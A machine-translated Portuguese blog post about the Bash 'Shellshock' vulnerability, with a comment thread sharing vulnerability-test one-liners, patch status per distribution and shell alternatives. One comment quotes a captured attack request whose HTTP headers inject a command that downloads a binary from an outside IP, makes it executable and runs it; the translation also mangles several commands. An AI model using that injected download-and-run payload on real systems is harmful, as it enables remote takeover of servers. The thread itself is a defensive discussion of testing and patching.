Está funcionando como um incêndio em alguns blogs, uma história publicada no blog de segurança de Red Hat sobre uma vulnerabilidade encontrada no Bash devido ao uso indevido de variáveis globais. De acordo com a notícia original:
“… A vulnerabilidade se deve ao fato de que você pode criar variáveis de ambiente com valores especialmente criados antes de chamar o shell bash. Essas variáveis podem conter código que é executado assim que o shell é chamado. O nome dessas variáveis elaboradas não importa, apenas seu conteúdo. Como resultado, esta vulnerabilidade é exposta em muitos contextos, por exemplo:
- Force Command ele é usado em configurações sshd para fornecer recursos de execução de comando limitados para usuários remotos. Essa falha pode ser usada para evitar isso e fornecer execução arbitrária de comandos. Algumas implementações Git e Subversion usam tais Shells restritos. O uso regular do OpenSSH não é afetado porque os usuários já têm acesso a um console.
- O servidor Apache usando mod_cgi ou mod_cgid são afetados se os scripts CGI forem escritos em bash ou em subníveis de spawn. Esses subníveis são usados implicitamente por system / popen em C, por os.system / os.popen em Python, se estiver usando um shell system / exec em PHP (quando rodando em modo CGI), e aberto / sistema em Perl (que depende da string de comando).
- Os scripts PHP executados com mod_php não são afetados, mesmo se os subníveis forem reproduzidos.
- Os clientes DHCP invocam scripts de shell para configurar o sistema, com valores obtidos de um servidor potencialmente malicioso. Isso permitiria que comandos arbitrários fossem executados, geralmente como root, na máquina cliente DHCP.
- Vários daemons e programas com privilégios SUID podem executar scripts de shell com os valores das variáveis de ambiente definidos / influenciados pelo usuário, o que permitiria a execução de comandos arbitrários.
- Qualquer outro aplicativo que se conecta a um shell ou executa um script de shell, como o bash como interpretador. Scripts de shell que não exportam variáveis não são vulneráveis a esse problema, mesmo que processem conteúdo não confiável e o armazenem em variáveis shell (esquerda) e subníveis abertos.
... "
Como saber se meu bash foi afetado?
Diante disso, há uma maneira muito simples de saber se somos afetados por essa vulnerabilidade. Na verdade, eu testei em meus Antergos e aparentemente não tenho nenhum problema. O que temos que fazer é abrir um terminal e colocar:
env x = '() {:;}; echo vulnerável 'bash -c "echo isto é um teste"
Se for assim, não temos problema:
env x = '() {:;}; echo vulnerável 'bash -c "echo isto é um teste" bash: aviso: x: ignorando tentativa de definição de função bash: erro ao importar definição de função para `x' este é um teste
Se o resultado for diferente, você pode querer usar os canais de atualização de nossas distribuições preferidas para ver se eles já aplicaram o patch. Então você sabe 😉
Atualizado: esta é a saída de um colega de trabalho usando Ubuntu 14:04:
env x = '() {:;}; echo vulnerável 'bash -c "echo isto é um teste" vulnerável isto é um teste
Como você pode ver, até agora ele está vulnerável.
Eu tenho o Kubuntu 14.04 de 64 e também recebo:
env x = '() {:;}; echo vulnerável 'bash -c "echo isto é um teste"
vulnerável
isto é um teste
Já atualizei, mas não corrige. O que fazer?
Espere que eles sejam atualizados. Já o eOS, por exemplo, atualizado .. 😀
Que estranho, eu também tenho o Kubuntu 14.04
$ env x = '() {:;}; echo vulnerável 'bash -c "echo isto é um teste"
bash: aviso: x: ignorando tentativa de definição de função
bash: erro ao importar definição de função para `x '
isto é um teste
Acrescento que a versão do pacote "bash" que foi baixado hoje é:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
No meu caso, dando o comando, só me dá o seguinte no terminal:
>
Enfim, a piada é que eu atualizei o Debian Wheezy e foi isso que me largou.
Wheezy ainda está vulnerável à segunda parte do bug, pelo menos durante a tarde (UTC -4: 30) o problema ainda era o seguinte: /
Acabei de verificar que, após aplicar uma atualização esta manhã, nem o Slackware, nem o Debian nem o Centos foram afetados, pois receberam a atualização correspondente.
O que torna o Ubuntu ainda vulnerável a esta hora? E me diga que é seguro: D.
Mas você já tentou atualizar o Ubuntu?
Com a atualização de hoje, eles também corrigiram o problema.
OK
Especialistas em segurança alertam sobre a vulnerabilidade do 'Bash', ele pode representar uma ameaça maior aos usuários do software Linux do que a falha Heartbleed, onde 'hackers' podem explorar um bug no Bash para assumir o controle total de um sistema.
Tod Beardsley, gerente de engenharia da empresa de segurança cibernética Rapid7, alertou que a falha foi classificada como 10 por sua gravidade, o que significa que tem impacto máximo, e classificada como "baixa" pela complexidade da exploração, o que significa que é relativamente fácil para ataques de 'hacker' . Ao usar esta vulnerabilidade, os invasores podem potencialmente assumir o controle do sistema operacional, acessar informações confidenciais, fazer alterações, etc. ", disse Beardsley. "Qualquer pessoa com sistemas que ocupam Bash deve aplicar o patch imediatamente", acrescentou.
ANTES DESTA VULNERABILIDADE QUE APRESENTA A OLD TOOL (GNU) onde Bach está hospedado, seria mais conveniente para o software Linux se livrar do GNU e mudar para a ferramenta BSD.
PS: NÃO CENSURE a minha liberdade de expressão, ... não insulte ninguém, ... não apague a minha mensagem como a mensagem anterior que apaguei!.
Oh, por favor, não exagere. Como odeio aquelas pessoas que usam BSD e desprezam GNU, Linux ou qualquer coisa que venha desses projetos.
Eu estou com você e você está absolutamente certo quanto à gravidade deste buraco.
Não foi censura, foi redundância (você fez o mesmo comentário na postagem do gnome 3.14)
«… E classificado como 'BAIXO' PELA COMPLEXIDADE da exploração, o que significa que é relativamente FÁCIL para ataques de hackers»
A incongruência é perceptível?
Como pode ser fácil explorar a vulnerabilidade e ao mesmo tempo ter um nível de risco "baixo" por ser tão complexo de usar?
É um bug que foi resolvido em poucas horas de nos conhecermos e que, como o heartbleed, não tem relatos de ter sido explorado (claro que isso tem menos tempo para se conhecer).
É mais a imprensa tablóide do que o risco real.
@Staff não parece importante para você? O que você vai me dizer agora?
OBTER./.HTTP/1.0
.User-Agent: .Obrigado-Rob
.Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Aceitar:. * / *
$ arquivo nginx
nginx: ELF executável LSB de 32 bits, Intel 80386, versão 1 (SYSV), estaticamente vinculado, para GNU / Linux 2.6.18, removido
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Sabe que é? De pouco perigoso nada ...
A situação é bem séria, mas daí falando que você deve parar de usar o bash para uma opção BSD, já está no máximo, de qualquer forma a atualização já está aí, eu só toco em atualizar e nada mais.
Agora o PD, acho que é mais um colega @robet, não acho que os admins aqui se dediquem a deletar comentários assim porque sim, porque, desde que participei desta comunidade tenho tido esse sentimento e espero que sim fica assim.
Saudações.
Você colocou exatamente o mesmo comentário em duas postagens diferentes. Se você está tentando promover "a fonte" da história, desculpe, este não é o lugar.
Bash vem do Unix (e de seu clone GNU). Sistemas baseados em BSD como OSX também são afetados e, de acordo com Genbeta, eles ainda não o corrigiram. Da mesma forma, para acessar o Bash, você precisa de uma conta de usuário, local ou via SSH.
@Funcionários:
1.- É classificado como Nível 10 (nível máximo de perigo) devido à quantidade de serviços que podem ser afetados pelo bug. Na nota principal eles deixam esse fato bem claro, argumentando que o bug pode afetar serviços como apache, sshd, programas com permissões suid (xorg, entre outros).
2.- É classificado como Baixo Nível de Dificuldade, no que diz respeito à sua implementação, e o melhor exemplo disso é o script de teste de vulnerabilidade que @elav colocou no post. Muito difícil de implementar, não é, como você pode ver.
Não vejo redundância nas informações (vejo apenas uma tradução do Google) e se o problema for bastante grave, e como você diz, já tem um patch e uma solução, mas não para isso, não é mais um risco, e bastante real.
@petercheco / @Yukiteru
Não me interpretem mal, acho que é claro que a minha crítica é a notícia de que o Robet liga e está focado na incongruência e não numa redundância.
Da mesma forma, devemos diferenciar risco e perigo (não menciono o último), comumente os usamos como sinônimos, mas aqui, perigo seria a capacidade de dano do bug e risco a probabilidade de sua ocorrência.
No meu caso particular, entrei ontem. Não era para listas de e-mail ou algo parecido, era para uma distribuição de desktop! Peguei o telefone e mandei uma mensagem para o administrador do sistema com o link e confirmei que tinha tudo corrigido, então com licença, mas essas notícias não me deixam acordado.
Em outros fóruns eles mencionam sobre a vulnerabilidade do Bash, "a solução que o Debian e o Ubuntu lançaram", mas hoje eles descobriram que ainda existe uma vulnerabilidade, então a solução estava incompleta, eles mencionam isso!
Vejo que muitos me criticaram pelo simples fato de impedir as pessoas da gravidade da vulnerabilidade - qualificada com um nível 10 de periculosidade máxima, e mencionando possíveis soluções para o software Linux antes da ferramenta GNU desatualizada onde o Bash está hospedado - o que o GNU poderia perfeitamente ser substituída pela ferramenta BSD em Software Linux,… Eu também uso Linux e gosto de Linux!
Esclareço que o Bash não vem por padrão instalado no BSD, é mais um pacote de compatibilidade Linux que pode ser instalado no BSD ... sim! E a fonte é colocada para que possam verificar as notícias, já que muitos dos usuários às vezes não acreditam na mensagem ou comentário.
robet: Como já te falaram uma e outra vez, você já coloca seu comentário com a notícia em um post, não precisa colocar em cada post que você comenta.
No bash, existem outros shells que podem ser usados caso o Bash esteja vulnerável. 😉
Robet, que eu saiba, não existe nenhum software que combine o kernel do Linux com o userland do BSD. A coisa mais próxima é o contrário, kBSD + GNU, como o Gentoo e o Debian fazem. Além disso, GNU (1983) não poderia ser chamado de "antiquado" se for posterior ao BSD (1977). Ambos compartilham sua raiz Unix (mas não o código), não haveria "compatibilidade com Linux" se o Bash fosse criado quando Linus T ainda era uma criança.
uff, o teste debian neste momento é "vulnerável", que série de problemas nós temos ...
Eu uso o Debian Testing e até mesmo neste branch recebemos a atualização do bash
de acordo com a genbeta, há também outra vulnerabilidade
http://seclists.org/oss-sec/2014/q3/685
o comando para consultar é
env X = '() {(a) => \' sh -c "vulnerável ao eco"; bash -c "echo Failure 2 unpatched"
o mesmo eu.
O mesmo aqui. Mas o bug original no post foi corrigido no (L) Ubuntu 14.04
em vez de fazer um simples eco, tente fazê-lo executar uma instrução que requer privilégios, lanço "privilégios insuficientes" ... esse bug não aumenta os privilégios?
Tem razão!! eram duas vulnerabilidades ...
Para mim no Linux Mint 17, após a segunda atualização bash que eles colocaram nos repositórios do Ubuntu na noite passada, ao executar esse comando, o shell oferece esta saída:
env X = '() {(a) => \' sh -c "vulnerável ao eco"; bash -c "echo Fail 2 unpatched"
>
A versão do "bassh" que foi colocada nos repositórios do Ubuntu para atualizar os anteriores é:
4.3-7ubuntu1.2
Em sistemas derivados do Debian, você pode verificar a versão instalada com este comando:
Versão do dpkg -s bash | grep
Em qualquer caso, deve ser esclarecido, pelo menos para usuários de Debian, Ubuntu e Mint; Você não deve se preocupar muito com programas que executam scripts com o cabeçalho #! / Bin / sh porque nessas distribuições / bin / sh não chama "bash", mas se liga ao shell "traço" (traço é :)
O Debian Alchemist Console (traço) é um console POSIX derivado
de cinzas.
.
Uma vez que executa scripts mais rápido do que bash e tem menos dependências
bibliotecas (tornando-o mais robusto contra falhas de software ou
hardware), é usado como o console do sistema padrão em sistemas
Debian.
Portanto, pelo menos no Ubuntu, "bash" é usado como um shell para o login do usuário (também para o usuário root). Mas qualquer usuário pode usar outro shell por padrão para o usuário e consoles root (terminais).
É fácil verificar se o shell executa os scripts (#! / Bin / sh) executando estes comandos:
arquivo / bin / sh
(a saída é / bin / sh: link simbólico para `traço ') seguimos o traço repetindo o comando
arquivo / bin / traço
(a saída é / bin / dash: objeto compartilhado LSB de 64 bits ELF, x86-64, versão 1 (SYSV), portanto, este é o executável.
Estes são os resultados em uma distribuição Linux Mint 17. Em outras distribuições não baseadas no Ubuntu / Debian, eles podem ser diferentes.
Não é difícil mudar o shell padrão !! você pode até usar um diferente para os usuários e para o usuário root. Na verdade, você só precisa instalar o shell de sua escolha e alterar o padrão com o comando "chsh" ou editando o arquivo / etc / passwd (embora usuários que não saibam as consequências de um erro ao editar o arquivo "passwd", é melhor que se informem muito bem e antes de editá-lo faça uma cópia do original caso seja necessário recuperá-lo)
Eu me sinto mais confortável com o "tcsh" (tcsh é :)
O console TENEX C, uma versão melhorada do Berkeley csh
"Csh" é o que o Mac OS X usava alguns anos atrás. O que faz sentido, considerando que muito do sistema operacional da Apple é código do FreeBSD. Agora, pelo que li ontem, parece que eles também fornecem "bash" para terminais de usuário.
CONCLUSÕES:
- Versões "bash" corrigidas "para as distribuições mais usadas" já foram distribuídas
- "bash" versão 4.3-7ubuntu1.2 e posterior não contém esses bugs
- Não é obrigatório usar "bash" no OS * Linux
- Poucas * distribuições Linux vinculam #! / Bin / sh com "bash"
- Existem alternativas: ash, dash, csh, tcsh e mais alguns
- Não é complicado mudar o shell padrão que o sistema chama ao abrir um terminal
- Poucos aparelhos pequenos (roteadores e outros) usam "bash", pois é muito grande !!
Agora mesmo outra atualização acaba de chegar que instala outra versão do "bash" 4.3-7ubuntu1.3
Para Linux Mint 17 e Ubuntu 14.04.1 LTS
ArchLinux entrou na versão bash-4.3.026-1
@ Xurxo… .csh de Berkeley?,… Você entende algo do que eu falei acima, e é melhor usar BSD “csh”… ao invés da velha ferramenta GNU onde o Bash está hospedado. Essa ferramenta é a melhor para software Linux.
Eu acho que esse é o bug
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
verdadeiro?
E qual seria a solução?
Espere que eles atualizem o pacote na sua distribuição 😉
O bug foi batizado de shellshock
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
vulnerável
isto é um teste
Nenhum patch para Ubuntu Studio 14.04 ainda
Reparado no Ubuntu Studio 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo vulnerável 'bash -c "echo isto é um teste"
bash: aviso: x: ignorando tentativa de definição de função
bash: erro ao importar definição de função para `x '
isto é um teste
Na verdade é uma vulnerabilidade menor, se te afeta, é que você estava fazendo algo errado antes ...
Porque um script bash executado com privilégios de root nunca deve ser exposto a um usuário. E se ele corre sem privilégios, não existe tal bulnerability. Na verdade, é um absurdo. Muito alarmismo.
Acho que o mesmo.
Exatamente, para vender mais jornais ou conseguir mais visitas, esses bugs são bons.
Mas eles sempre se esquecem de mencionar que para violar um computador com esse tipo de script, você deve primeiro ter acesso ao bash e depois tê-lo como root.
pessoal se você usa um apache com cgi, basta colocar nos cabeçalhos http como cookies ou referenciar a função que deseja executar. Ele até foi usado para espalhar vermes.
e se alguém colocar um shell em um servidor com um wget mishell.php, nesse caso não é sério, é?
Concordo com você. Achei que fosse um bug enorme como o de Heartbleed (até a NSA se prestou para alimentar a morbidez), mas, afinal, era um bug menor.
Existem outros bugs realmente sérios como o consumo louco de Flash e a queda de desempenho no Pepper Flash Player, e aquele que já foi corrigido bug webRTC no Chrome e Firefox.
Você sabe se ele tem um acordo para pessoas que têm Linux Mint 16?
No teste do Debian, isso já foi corrigido.
Nas minhas 5 distros está resolvido, no meu OS X não sei.
Por favor, não censure meu comentário, eu disse OS X. Não sei se você pode dizer OS X neste site.
@yoyo bem, não se preocupe muito com o fato de que eles ainda estão trabalhando em alguns detalhes do patch ... tente isso e então me diga, ande XD
env x = '() {:;}; echo vulnerável 'bash -c "echo, sou mais vulnerável que o lixo do iphone 6"
Que se eles tiverem resolvido 100% antes do OS X, aposto qualquer coisa
Bem, mesmo no Ars Technica eles dão relevância ao Bash no OSX.
Próximo comentário de @Yoyo no OS X para SPAM .. lla tu save .. 😛
@yoyo aí para consertar as aspas ... mas o resto você sabe 😉
A FSF falou
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Como se eles tivessem se tornado paternalistas com o OSX (porque o OSX ainda usa o Bash: v).
De qualquer forma, não preciso mexer tanto com o Debian Jessie.
Se o sistema for vulnerável no Cent OS:
yum clean all && yum update bash
para ver a versão do bash:
rpm -qa | grep bash
Se a versão for anterior a bash-4.1.2-15.el6_5.1, seu sistema pode estar vulnerável!
Saudações.
2ª vulnerabilidade ainda não resolvida
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Failure 2 unpatched"
Atualizando ...
O oposto acontece comigo no Gentoo, eu só sou vulnerável à primeira falha, mas com a segunda eu entendo isso:
[código] sh: X: linha 1: erro sintático próximo ao elemento inesperado `= '
sh: X: linha 1: ''
sh: erro ao importar definição de função para `X '
sh: vulnerável: comando não encontrado
Bug 2 não corrigido
[/ Code]
Não sei se já haverá uma versão estável do Bash com os bugs corrigidos, mas de qualquer forma ela estará pendente para a próxima vez que eu fizer um emerge –sync && emerge –update –deep –with-bdeps = e - newuse @world (é assim que atualizo todo o sistema).
Eu tenho o Gentoo com a versão 4.2_p50 e até agora ele passou em todos os testes. Tente emergir –sync e então emerge -av1 app-shells / bash, e então verifique se você tem a versão 4.2_p50 usando o comando bash –version.
Você já tentou isso?
E com novos pacotes, um novo teste que a Red Hat nos oferece
cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "data de eco"; cat / tmp / echo
Se nosso sistema não é vulnerável e foi corrigido corretamente, ele deve nos fornecer algo como isto
1 data
2 cat: / tmp / echo: O arquivo ou diretório não existe
Tente desta forma:
env X = '() {(a) => \' sh -c "vulnerável ao eco"; bash -c "echo Falha 2 corrigido"
eu recebo
vulnerável
Bug 2 corrigido.
Esqueça, a linha está mal formatada.
Excelente! Já fiz a atualização no meu Slackware, obrigado!
Olá, surge uma pergunta, tenho vários servidores com "SUSE Linux Enterprise Server 10" 64 bits.
Quando eu executo os comandos fico vulnerável, fico ainda mais vulnerável do que o lixo do iPhone 6 xD
Se não estou errado ao atualizar / instalar pacotes no SUSE, isso é feito com o comando «zypper».
Em alguns servidores, ele me diz o seguinte:
BIAL: ~ # zypper up
-bash: zypper: comando não encontrado
BIAL: ~ #
E em outros este:
SMB: ~ # zypper up
Restaurando fontes do sistema ...
Analisando metadados para SUSE Linux Enterprise Server 10 SP2-20100319-161944…
Analisando banco de dados RPM ...
Resumo:
Nada para fazer.
Que faço?
Eu sei que alguns dizem que a vulnerabilidade é menor do que o que pintam, mas eu tenho e não quero ser exposto a riscos, sejam pequenos ou grandes.
Saudações.
Boa noite, tentei colar o código que você forneceu no artigo, entendi
lixadeiras @ pc-lixadeiras: ~ $ env x = '() {:;}; echo vulnerável 'bash -c "echo isto é um teste"
isto é um teste
lixadeiras @ pc-lixadeiras: ~ $
Você poderia me explicar como corrigir a distro, eu atualizo diariamente e não vejo nenhuma mudança na saída do prompt.
Muito obrigado!